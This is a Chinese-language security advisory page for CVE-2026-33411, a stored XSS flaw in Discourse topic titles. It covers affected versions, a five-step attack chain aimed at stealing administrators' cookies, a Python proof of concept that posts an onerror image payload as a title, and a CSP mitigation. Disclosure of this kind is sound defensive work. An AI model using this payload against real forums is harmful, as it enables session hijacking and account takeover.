IPBUF安全漏洞报告
English
CVE-2026-33411 CVSS 5.4 中危

CVE-2026-33411 Discourse 存储型XSS漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33411
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

XSSStored XSSDiscourseWeb SecurityCWE-79Cross-Site Scripting

漏洞概述

Discourse是一个开源讨论平台。在2026.3.0-latest.1、2026.2.1和2026.1.2之前的版本中,存在一个潜在的安全漏洞。该漏洞位于“已解决帖子流”的主题标题中,允许攻击者实施存储型跨站脚本攻击(Stored XSS)。由于漏洞CVSS评分为5.4(中危),且无需用户交互即可触发,低权限攻击者可利用此漏洞窃取敏感数据或篡改页面内容。官方已在特定版本中发布了修复补丁,建议用户尽快更新。

技术细节

该漏洞的根本原因在于Discourse应用程序在渲染“已解决帖子流”模块时,未对主题标题字段进行严格的输出编码。攻击者利用这一缺陷,可以将精心构造的恶意脚本持久化存储在服务器端。具体利用场景如下:攻击者首先注册一个普通用户账号,随后在发布新主题或编辑现有主题时,将恶意载荷嵌入标题字段。由于系统未正确清洗数据,该载荷被保存至数据库。当管理员或其他具有高权限的用户访问包含该主题的“已解决帖子流”页面时,服务器会直接读取并渲染未经过滤的标题,导致恶意脚本在受害者的浏览器中自动执行。此时攻击者可利用JavaScript的强大功能窃取Cookie、进行钓鱼攻击或执行提权操作,进而完全控制受害者的账户。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册并登录一个低权限的Discourse用户账号。
STEP 2
步骤2:注入恶意载荷
攻击者创建一个新主题,在“标题”字段中注入恶意的JavaScript代码(如XSS Payload)。
STEP 3
步骤3:存储数据
由于存在漏洞,应用程序未过滤恶意代码,将其存储在数据库中。
STEP 4
步骤4:触发漏洞
管理员或其他受害者浏览“已解决帖子流”页面,系统加载并渲染包含恶意标题的主题。
STEP 5
步骤5:执行攻击
受害者的浏览器解析并执行恶意脚本,导致Cookie窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "https://example.com/posts" # Attacker's session cookie (after login) session_cookies = { "_t": "attacker_session_token" } # Malicious payload to be injected into the topic title # This payload simply alerts 'XSS' to demonstrate the vulnerability xss_payload = "<img src=x onerror=alert('XSS')>" # Data for the new post creation post_data = { "title": xss_payload, "raw": "This is a test post content.", "category": "general" } # Send the POST request to create the topic with the malicious title response = requests.post(target_url, cookies=session_cookies, data=post_data) if response.status_code == 200: print("[+] Payload delivered successfully.") print("[+] Check the 'Solved Posts Stream' to verify the stored XSS trigger.") else: print("[-] Failed to deliver payload.")

影响范围

Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

防御指南

临时缓解措施
确保启用内容安全策略(CSP),并且该策略未被修改以致降低对XSS攻击的防护能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表